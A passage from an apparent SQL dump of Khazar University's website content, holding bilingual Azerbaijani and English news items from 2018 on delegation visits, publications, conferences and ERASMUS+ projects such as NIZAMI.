prorektor Dr. Məsud Entezariasldan ibarət idi.</p><p>Qonaqlar Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Elmi işlər üzrə prorektor Dr. İradə Xəlilova və Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova ilə görüşdülər. Görüşdə birgə tədqiqat layihələrinin həyata keçirilməsi və ikili diplom proqramlarının yaradılması məsələləri vurğulanmaqla, qarşılıqlı faydalı tərəfdaşlığın perspektivləri müzakirə olundu.</p><p>Qonaqlar, həmçinin, universiteti gəzdilər, laboratoriyalara baş çəkdilər və tədris departamentlərinin rəhbərləri ilə tanış oldular. Nümayəndə heyətinin səfəri “Anlaşma Memorandumu”nun imzalanması ilə başa çatdı.</p>'),(6350,3609,'en','Khazar University Establishes Cooperation with Ardabil University of Medical Sciences','On November 7, 2018, a delegation from the Ardabil University of Medical Sciences...','<p>On November 7, 2018, a delegation from the Ardabil University of Medical Sciences visited Neftchiler campus of Khazar University.</p>\r\n<p>Members of the delegation included Dr. Ghodrat Akhavan-Akbari, Chancellor; Dr. Mojtaba Amani, Director of International Affairs Office; and Dr. Masood Entezariasl, Vice-President in Education.</p>\r\n<p>Guests met with the Dr. Hassan Niknafs, Rector, Assoc.Prof. Irada Khalilova Vice-Rector for Research, and Ms. Turan Jafarova, Director of International Affairs Office. Participants of the meeting discussed mutually beneficial partnership, in particular, conducting joint research projects, establishment of double-degree programs, and others issues.</p>\r\n<p>A tour of the university was organized for the guests. Guests visited laboratories and met heads of academic departments. Visit of the delegation concluded with signing a Memorandum of Understanding.</p>'),(6351,3610,'az','“Ədalət” qəzeti Xəzər Universitetinin müəlliminin kitabından yazdı','2018-ci il noyabrın 8-də “Ədalət” qəzetində Xəzər Universitetinin müəllimi Qardaşxan...','<p>2018-ci il noyabrın 8-də “Ədalət” qəzetində Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlının “İlkim də sən, indim də sən, sonum sən” şeirlər kitabı haqqında məqalə dərc etmişdir.</p><p>Yazını bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.adalet.az/w159029/_”İLKİM_DƏ_SƏN,_İNDİM_DƏ_SƏN,_SONUM_SƏN”.W-PtmNUzbIU\"></a><a href=\"http://www.adalet.az/w159029/_%22%C4%B0LK%C4%B0M_D%C6%8F_S%C6%8FN,_%C4%B0ND%C4%B0M_D%C6%8F_S%C6%8FN,_SONUM_S%C6%8FN%22/\">http://www.adalet.az/w159029/_\"İLKİM_DƏ_SƏN,_İNDİM_DƏ_SƏN,_SONUM_SƏN\"/#.W-kWPbZ1OM8</a>.   <br></p>'),(6352,3610,'en','The newspaper “Adalat” writes about a book by a Khazar University instructor','On November 8, 2018, an article about a book of poems entitled “You are my first, present, and end...','<p>On November 8, 2018, an article about a book of poems entitled “You are my first, present, and end” by Gardashkhan Azizkhanli, instructor of Khazar University, was published in a newspaper “Adalat”.</p><p>The article is available through the following link:</p><p><a href=\"http://www.adalet.az/w159029/_%22%C4%B0LK%C4%B0M_D%C6%8F_S%C6%8FN,_%C4%B0ND%C4%B0M_D%C6%8F_S%C6%8FN,_SONUM_S%C6%8FN%22/\">http://www.adalet.az/w159029/_\"İLKİM_DƏ_SƏN,_İNDİM_DƏ_SƏN,_SONUM_SƏN\"/#.W-kWPbZ1OM8</a>.  <br></p>'),(6353,3611,'az','“Dünya” məktəbinin əməkdaşı konfransda iştirak etdi','2018-ci il oktyabrın 10-dan 12-dək Türkiyədə –Cümhuriyyətin təməllərinin atıldığı Sivasda...','<p>2018-ci il oktyabrın 10-dan 12-dək Türkiyədə –Cümhuriyyətin təməllərinin atıldığı Sivasda “Mən və qonşularım” adlı VII Beynəlxalq Müqayisəli Ədəbiyyat Konqresi keçirildi.</p><p>Konqresdə Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin əməkdaşı Mədinə Karahan “Əhməd bəy Ağaoğlu və onun İslamda rolu” haqqında çıxış etdi.</p><p>Konfransın sonunda Sivasın tarixi məkanlarına gəzintilər keçirildi və konfrans iştirakçılarını şərəfinə yemək verildi.</p>'),(6354,3611,'en','Associate of “Dunya” School participates in a conference','On October 10 and 12, 2018, VII International Comparative Literature Congress “Me and...','<p>On October 10 and 12, 2018, VII International Comparative Literature Congress “Me and my neighbour” was held in Turkey, Sivas city, where the Republic was founded.</p><p>At the conference, Madina Karahan, an associate of “Dunya” School affiliated with Khazar University, delivered a report entitled “Ahmad bay Aghaoghlu and his role in Islam”.</p><p>At the end of the conference, conference participants toured the historical sightseeings of Sivas. Also, a reception was organized in honour of conference participants.</p>'),(6355,3612,'az','Doktorantın məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin koordinatoru Mələk Kərimovanın (doktorant) “<em><a href=\"http://www.khazar.org/files/letters/Melek_Kerimova_meqale.PDF\">Fridrix Nitsşenin incəsənət anlayışı</a></em>” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, Azərbaycan Dövlət Mədəniyyət və İncəsənət Universitetinin “Mədəniyyət dünyasi” jurnalının 2018-ci ilin XXXV cildində (ISSN-2221-7584) çap edilmişdir. Məqalədə Nitsşenin incəsənətlə əlaqədar fikirləri tədqiq edilərək müzakirə edilmişdir. Sənət əsərinin yaranması zərurəti ilə əlaqədar maraqlı fikirləri də oxuculara çatdırılmışdır.</p>'),(6356,3612,'en','An article by a PhD candidate published','An article entitled “Friedrich Nietzsche’s Concept of Art” by Malak Karimova...','<p>An article entitled “<em><a href=\"/files/letters/Melek_Kerimova_meqale.PDF\">Friedrich Nietzsche’s Concept of Art</a></em>” by Malak Karimova (a PhD candidate), Coordinator of the Department of Psychology of the School of Humanities and Social Sciences of Khazar University, was published in the journal “World of Culture” (ISBN-2221-7584), volume XXXV, 2018, a publication of Azerbaijan State University of Culture and Arts which is included in Periodical Scientific Publications of the Higher Attestation Commission under the President of the Republic of Azerbaijan. The article deals with Nietzsche’s ideas on Art and entails interesting thoughts on the necessity of creating artwork.</p>'),(6357,3613,'az','“Azərbaycanın şəhər incəsənəti” layihəsinin heyəti tələbələrlə görüşdü','2018-ci ilin noyabrın 3-də “Azərbaycanın şəhər incəsənəti” (City Art Azerbaijan) layihəsinin yaradıcı...','<p>2018-ci ilin noyabrın 3-də “Azərbaycanın şəhər incəsənəti” (City Art Azerbaijan) layihəsinin yaradıcı heyətinin layihənin tərəfdaşı olan Xəzər Universitetinin dəstəyi və ev sahibliyi ilə layihə könüllülərinin və mütəxəssislərin görüşü baş tutdu. Görüş Xəzər Universitetinin şəhər mərkəzindəki korpusunda müsair texnologiya ilə təchiz olunmuş auditoriyasında keçirildi. Görüş zamanı MATM-nin şöbə müdiri, gənc tədqiqatçı Emin Dadaşov və peşəkar fotoqraf Nurlan Tahirli foto sənəti, fotoqrafiyanın tarixi, onun dünya və Azərbaycan tarixindəki rolu, müasir inkişaf vəziyyəti haqqında geniş təqdimat etdikdən sonra, Xəzər Universitetinin Təhsil fakültəsinin tələbələrindən təşkil olunmuş layihənin könüllü qrupları ilə müzakirə apardılar.</p><p>Sual-cavab və fikir mübadiləsi şəraitində keçən tədbir Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri Roza Arazova, departamentin əməkdaşları Orxan Zamanov və İ.Yusifli tərəfindən təşkil edilmişdi. Tədbirə, həmçinin, qonaq qismində “Azərbaycanın şəhər incəsənəti” layihəsinin idarə heyətindən rəssam S.Musayeva, memar A.Zeynalov və məşhur heykəltaraş M.Rəşidov dəvət edilmişdilər. Tədbirin təşkilində layihənin gənc üzvlərindən və universitetin tələbələrindən A.Muxtarova, F.Rəhimli, İ.Həsənzadə yaxından iştirak etdilər.</p>'),(6358,3613,'en','“City Art Azerbaijan” project staff meets students','On November 3, 2018, “City Art Azerbaijan” project staff met with project volunteers...','<p>On November 3, 2018, “City Art Azerbaijan” project staff met with project volunteers and experts supported and hosted by Khazar University, a partner of the project. The meeting took place at the downtown campus of Khazar University, in a room equipped with cutting-edge technology. In the meeting, Emin Dadashov, a young researcher and Head of Department of National Museum of History of Azrbaijan, and Nurlana Tahirli, a professional photographer, made presentations about the art of photography, history of photography, its role in Azerbaijan and world history, and current development of photography. Then a discussion was held with teams of volunteers consisting of Khazar University students.</p><p>Roza Arazova, Head of the Department of History and Archaeology of Khazar University, Orkhan Zamanov and I.Yusifli, associates of the Department, jointly organized the meeting in which participants had an exchange of views.</p><p>The meeting was also attended by an artist S. Musayeva, a member of Management of Board of “City Art Azerbaijan” project; Z.Zeynalov, an architect; and M.Rashidov, a prominent sculptor. A.Mukhtarova, F.Rahimli and I.Hasanzadeh - Khazar University students and young members of the project, immensely contributed to the organization of the meeting.</p>'),(6359,3614,'az','“Türk-İslam mədəniyyətinin dünyaya bəxş etdiyi ilklər” mövzusunda konfrans keçirildi','2018-ci il oktyabrın 27-də Bakı Yunus Emre İnstitutunun mədəniyyət konfransları çərçivəsində...','<p>2018-ci il oktyabrın 27-də Bakı Yunus Emre İnstitutunun mədəniyyət konfransları çərçivəsində Dr. Telman Nüsrətoğlunun təqdimatında “Türk-İslam mədəniyyətinin dünyaya bəxş etdiyi ilklər” mövzusunda konfrans keçirildi.</p><p>İnstitutun ev sahibliyində keçirilən tədbirdə Dr. Nüsrətoğlu çıxış etdi.</p><p>Xəzər Universiteti tələbələrinin iştirakı ilə keçirilən konfrans, sualların cavablandırılması ilə sona çatdı.</p>'),(6360,3614,'en','Conference on “The firsts contributed by the Turkish-Islamic culture to the world” held','On October 27, 2018, a conference “The firsts contributed by the Turkish-Islamic culture...','<p>On October 27, 2018, a conference “The firsts contributed by the Turkish-Islamic culture to the world” at the presentation of Dr. Telman Nusratoghlu, was held within cultural conferences organized by Baku Yunus Emre Institute.</p><p>Dr. Telman Nusratoghlu delivered a speech in the event hosted by the Institute.</p><p>Khazar University students also participated at the conference which concluded with a question and answer session.</p>'),(6361,3615,'az','Nəsiman Yaqublunun kitabının təqdimatı keçirildi','Tarix elmləri doktoru, Bakı Dövlət Universitetinin professoru Nəsiman Yaqublunun...','<p>Tarix elmləri doktoru, Bakı Dövlət Universitetinin professoru Nəsiman Yaqublunun Bakının qurtuluşunun 100 illiyinə həsr olunmuş “<em>Qafqaz İslam Ordusunun Azərbaycanda izləri</em>” kitabının Türkiyə Cümhuriyyətinin Azərbaycandakı səfirliyində təqdimat mərasimi keçirildi. Təqdimat mərasimində səfir Ərkan Özoral, Nəsiman Yaqublu, tədqiqatçı Firdövsiyyə Əhmədova çıxış etdilər. Səfir Ə.Özoral N.Yaqublunun bu sahədəki çalışmalarını yüksək dəyərləndirdi.</p><p>Kitabın təqdimat mərasimində millət vəkillərindən Məlahət İbrahimova, Gövhər Baxşəliyeva. Fərəc Quliyev, tanınmış ziyalılardan Sabir Rüstəmxanlı, Qulu Məhərrəmli, Rəşad Məcid, Zülfüqar Hüseyinzadə, “Atatürk” litseyinin müəllimləri, Türkiyənin Bakıdakı iş adamları, Türkiyə Hərbi Ataşeliyinin təmsilçiləri, media mənsubları iştirak edirdilər.</p>'),(6362,3615,'en','Presentation of a book by Nasiman Yagublu','A presentation ceremony for the book entitled “Traces of Caucasian Islamic Army...','<p>A presentation ceremony for the book entitled “<em>Traces of Caucasian Islamic Army of Azerbaijan</em>”, which is dedicated to 100<sup>th</sup> anniversary of the liberation of Baku, by Nasiman Yagublu, D.Sc. in History and Professor at Baku State University, was held at the office of Embassy of the Republic of Turkey to Azerbaijan. Ambassador Erkan Ozoral, Nasiman Yagublu, and a researcher Firdovsiyya Ahmadova delivered speeches at the event. Ambassador Erkan Ozoral highly appreciated Nasiman Yagublu’s researches in this sphere.</p><p>The event was attended by Malahat Ibrahimova, Govhar Bakhshaliyeva and Faraj Guliyev, Members of Parliament, Sabir Rustamkhanli, Gulu Maharramli, Rashad Majid, Zulfugar Huseynzadeh, prominent intellectuals, as well as teachers of “Ataturk” Lyceum, Turkish businessmen in Baku, Military Attaché of Turkey and media representatives.</p>'),(6363,3616,'az','Dillər və mədəniyyətlər departamentinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru...','<p>Xəzər Universiteti Dillər və mədəniyyətlər departamentinin koordinatoru fil.ü.f.d. dosent Zivər Hüseynli-Baylanın Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, “Filologiya məsələləri” jurnalının 2018-ci il 13-cü sayında (səh. 271-287) “<em>Hindistanda Azərbaycan Şairləri (Səfəvilər dövrü)</em>” adlı məqaləsi çap edilmişdir. Məqalədə Səfəvilər dövründə müxtəlif səbəblərə görə Hindistanda getmiş azərbaycanlı şairlər haqqında məlumata yer verilmişdir. Tədqiqatın araşdırma obyekti ədəbiyyat tarixi, təzkirələr və Hindistanda mövcud olan ədəbi mühit haqqında yazılmış əsər və məqalələrdir.</p><p>Məqaləni tam şəkildə PDF formatda <strong><a href=\"/files/letters/zivar_huseynli_toplu.pdf\">bu link</a></strong> vasitəsilə oxumaq olar.<br></p>'),(6246,3554,'en','Seminar of the School of Economics and Management','On October 21, 2018, with the joint organizational support of the School of Economics and Management...','<p>On October 21, 2018, with the joint organizational support of the School of Economics and Management of Khazar University and National Accountants Forum, another workshop was held in Conference and Concert hall named after Fikrat Amirov at Khazar University campus in the city center.</p><p>After greeting the participants, Dr.Jeyhun Mammadov, Dean of the School of Economics and Management, gave information about the quality of education at Khazar University and added that accounting specialities at Khazar University were aligned with international education standards. After his speech, a promotional video about Khazar University was demonstrated.</p><p>Dr. Ruslan Atakishiyev, Chair of the Organization Committee of National Accountants Forum, informed the participants about principles of the Forum and the aim of the workshop. Then Mirali Kazimov, an associate of the Azerbaijan Ministry of Taxes, talked about the substitution of the simplified tax system with VAT system, which is in accordance with “State Program on the expansion of digital payments in the Republic of Azerbaijan in 2018-2020”, as well as differentiation of VAT degrees. Radil Fatullayev, Vice-president of the Center for Economic Research and Training, explained practical examples about billing of double records on costs and expenses. Then Mehdi Babayev, Editor-in-chief of the journal “Professional accountant” talked about “Practical problems and inconsistencies in the compilation of the cost part of the Income Tax Declaration and solutions to these problems”. Abdulkarim Sadigov, Instructor of the School of Finance and Accounting of UNEC, talked about “Classification of costs in financial accounting, adding expenses to basic costs and current practical problems in this sphere”.</p><p>During question and answer session several issues were discussed. The participants were certified. The next workshop of National Accountants Forum is planned to be organized in partnership with, and hosting by Khazar University</p>'),(6399,3634,'az','ERASMUS+','ERASMUS+','<br>\r\n<p><a href=\"http://www.khazar.org/files/Development_office/NIZAMI_(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP).pdf\">NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)</a><a href=\"http://www.khazar.org/files/Development_office/NIZAMI_(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP).pdf\"></a></p><p><a href=\"http://www.khazar.org/files/Development_office/PETRA_(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP).pdf\">PETRA (</a><a href=\"http://www.khazar.org/files/Development_office/PETRA_(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP).pdf\">573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">PROMIG (</a><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PAWER_(574099-EPP-1-2016-1-IT-EPPKA2-CBHE).pdf\">PAWER (</a><a href=\"http://www.khazar.org/files/Development_office/PAWER_(574099-EPP-1-2016-1-IT-EPPKA2-CBHE).pdf\">574099-EPP-1-2016-1-IT-EPPKA2-CBHE)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/AESOP_(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP).pdf\">AESOP (561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP</a><a href=\"http://www.khazar.org/files/Development_office/AESOP_(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP).pdf\">)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">DESCnet (</a><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">565086-EPP-1-2015-1-EE-EPPJMO-NETWORK)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/Department_Jean_Monnet_Chair_at_Khazar_University.pdf\">Department Jean Monnet Chair at Khazar University (553445-EPP-1-2014-1-AZ-EPPJMO-CHAIR)</a></p>'),(6400,3634,'en','ERASMUS+ ','ERASMUS+','<br>\r\n<p><a href=\"http://www.khazar.org/files/Development_office/NIZAMI_(561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP).pdf\">NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)</a><strong></strong></p><p><a href=\"http://www.khazar.org/files/Development_office/PETRA_(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP).pdf\">PETRA (</a><a href=\"http://www.khazar.org/files/Development_office/PETRA_(573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP).pdf\">573630-EPP-1-2016-1-ES-EPPKA2-CBHE-JP)</a></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">PROMIG (</a><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PAWER_(574099-EPP-1-2016-1-IT-EPPKA2-CBHE).pdf\">PAWER (</a><a href=\"http://www.khazar.org/files/Development_office/PAWER_(574099-EPP-1-2016-1-IT-EPPKA2-CBHE).pdf\">574099-EPP-1-2016-1-IT-EPPKA2-CBHE)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/AESOP_(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP).pdf\">AESOP (561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP</a><a href=\"http://www.khazar.org/files/Development_office/AESOP_(561640-EPP-1-2015-1-AZ-EPPKA2-CBHE-JP).pdf\">)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">DESCnet (</a><a href=\"http://www.khazar.org/files/Development_office/PROMIG_(573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP).pdf\">565086-EPP-1-2015-1-EE-EPPJMO-NETWORK)</a><br></p><p><a href=\"http://www.khazar.org/files/Development_office/Department_Jean_Monnet_Chair_at_Khazar_University.pdf\">Department Jean Monnet Chair at Khazar University (553445-EPP-1-2014-1-AZ-EPPJMO-CHAIR)</a></p>'),(6401,3638,'en','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Start date: </strong>2016</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Duration:</strong> 36 months</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Brief information and main objectives:</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The objective of the project\r\nconcerns the restructuration and upgrading of the doctoral studies in\r\nAzerbaijan following the European standards in order to promote\r\ninternationalization, research cooperation, PhD excellence and employability.</p>\r\n<p>Actually, most of the HEIs\r\nare still based on the soviet education system and the doctoral studies are\r\nmanaged by the Academy of Sciences of the Republic of Azerbaijan. The wiling of\r\nthe Academy, of the Ministry of Education of Azerbaijan and of the HEIs is to\r\nmodernize the structuration of the doctoral studies taking into example the\r\nEuropean model. </p>\r\n<p>Moreover, the actual system\r\nshows structural disparities between universities. But the objective is the\r\nsame: excellence and recognition at the national and international level. The\r\nproject proposes to establish common criteria to insure the quality of PhD\r\nprograms by restructuring the organization (management) of the doctoral\r\nstudies. The exchanges of experience between European countries and partner\r\ncountries will build an appropriate organization of the doctoral studies in\r\nAzerbaijan that fit to European standards, and therefore will improve exchanges\r\nbetween Europe and Azerbaijan.</p>\r\n<p>The project will take place\r\nover three years and is based on tight relations between partners.</p>\r\n<p>Discussions and exchanges of\r\nknow-how between partners will determinate the appropriate restructuration for\r\nHEIs in Azerbaijan within a frame based on the European model. </p>\r\n<p>To reach the objective, key\r\nactions have been identified:</p>\r\n<p>A state of art will settle\r\nthe basis of the work and a critical analysis of the European and Azerbaijani\r\nstructures will permit to identify in detail the concrete measures to be taken.</p>\r\n<p>The development of the\r\nproject will then be dedicated to the structuration of doctoral studies on the\r\nbasis of the European model that will be adapted to Azerbaijan. The key points\r\nof the project will be (a) to structure the doctoral schools; (b) to organize\r\ndoctoral schools in a frame of a central structure (collegium for example); (c)\r\nto set up a National Management Platform to insure the quality and the follow\r\nup of PhD students and young researchers (d) to determine the criteria to&nbsp; insure high standards in doctoral studies in\r\nterm of management, students skills, internationalization and integration\r\nbetween research and education to reach excellence, enhancing employability and\r\ninternational cooperation.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">The\r\ncoordinator will be careful to work collegially to insure success and\r\nsustainability and will take final deccisions.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Project Coordinator:&nbsp;</strong><strong>University&nbsp;</strong><strong></strong>of\r\nMontpellier, FR<strong></strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Partners:</strong></p>\r\n<ul><li>Uppsala Universitet, SE</li><li>Masaryk University, NL</li><li>Fatih University, TK</li><li>Ruprecht-Karls-Universitaet Heidelberg, DE</li><li>Universitat de Barcelona, SP</li><li>Baku State University, AZ</li><li>Khazar University, AZ</li><li>Baku Engineering University, AZ</li><li>Azerbaijan university of Language, AZ</li><li>Azerbaijan University of Architecture and\r\nConstruction, AZ</li><li>Nakhchivan State University, AZ</li><li>Azerbaijan Technical University, AZ</li><li>Azerbaijan State Agriculture University, AZ</li><li>Azerbaijan State University of Economics, AZ</li><li>Ministry of Education of the Azerbaijan\r\nRepublic, AZ</li><li>Azerbaijan National Academy of Sciences, AZ</li></ul>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Contact:</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><strong>Raziya Isayeva</strong></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">+994 (12) 421\r\n79 16/ ext 207</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">+994 (50)&nbsp;348 75 68</p>'),(6402,3638,'az','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','NIZAMI (561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP)','<p margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Start date:</strong>2016</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Duration:</strong>&nbsp;36 months</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Brief information and main objectives:</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The objective of the project concerns the restructuration and upgrading of the doctoral studies in Azerbaijan following the European standards in order to promote internationalization, research cooperation, PhD excellence and employability.</p><p>Actually, most of the HEIs are still based on the soviet education system and the doctoral studies are managed by the Academy of Sciences of the Republic of Azerbaijan. The wiling of the Academy, of the&nbsp;Ministry of Education&nbsp;of Azerbaijan and of the HEIs is to modernize the structuration of the doctoral studies taking into example the European model.</p><p>Moreover, the actual system shows structural disparities between universities. But the objective is the same: excellence and recognition at the national and international level. The project proposes to establish common criteria to insure the quality of PhD programs by restructuring the organization (management) of the doctoral studies. The exchanges of experience between European countries and partner countries will build an appropriate organization of the doctoral studies in Azerbaijan that fit to European standards, and therefore will improve exchanges between Europe and Azerbaijan.</p><p>The project will take place over three years and is based on tight relations between partners.</p><p>Discussions and exchanges of know-how between partners will determinate the appropriate restructuration for HEIs in Azerbaijan within a frame based on the European model.</p><p>To reach the objective, key actions have been identified:</p><p>A state of art will settle the basis of the work and a critical analysis of the European and Azerbaijani structures will permit to identify in detail the concrete measures to be taken.</p><p>The development of the project will then be dedicated to the structuration of doctoral studies on the basis of the European model that will be adapted to Azerbaijan. The key points of the project will be (a) to structure the doctoral schools; (b) to organize doctoral schools in a frame of a central structure (collegium for example); (c) to set up a National Management Platform to insure the quality and the follow up of PhD students and young researchers (d) to determine the criteria to&nbsp; insure high standards in doctoral studies in term of management, students skills, internationalization and integration between research and education to reach excellence, enhancing employability and international cooperation.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The coordinator will be careful to work collegially to insure success and sustainability and will take final deccisions.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Project Coordinator:&nbsp;</strong><strong>University&nbsp;</strong><strong></strong>of Montpellier, FR<strong></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Partners:</strong></p><ul><li>Uppsala Universitet, SE</li><li>Masaryk University, NL</li><li>Fatih University, TK</li><li>Ruprecht-Karls-Universitaet Heidelberg, DE</li><li>Universitat de Barcelona, SP</li><li>Baku State University, AZ</li><li>Khazar University, AZ</li><li>Baku Engineering University, AZ</li><li>Azerbaijan university of Language, AZ</li><li>Azerbaijan University of Architecture and Construction, AZ</li><li>Nakhchivan State University, AZ</li><li>Azerbaijan Technical University, AZ</li><li>Azerbaijan State Agriculture University, AZ</li><li>Azerbaijan State University of Economics, AZ</li><li>Ministry of Education of the Azerbaijan Republic, AZ</li><li>Azerbaijan National Academy of Sciences, AZ</li></ul><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Contact:</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><strong>Raziya Isayeva</strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\"><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">+994 (12) 421 79 16/ ext 207</p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">+994 (50)&nbsp;348 75 68</p>'),(6386,3627,'en','Training “3 Minute Thesis Presentation” to be held at Khazar University','On November 23, 2018, at 14:00, a training “3 Minute Thesis...','<p>On November 23, 2018, at 14:00, a training “3 Minute Thesis Presentation” will be held at Lifelong Learning Training Center (5<sup>th</sup> floor, opposite LIC) at “Neftchiler” campus of Khazar University.</p><p>The training is held for the purpose of training students for 3 Minute Thesis Presentation Competition to be held at Khazar University on December 14, 2018.</p><p>The training is for graduate students and PhD 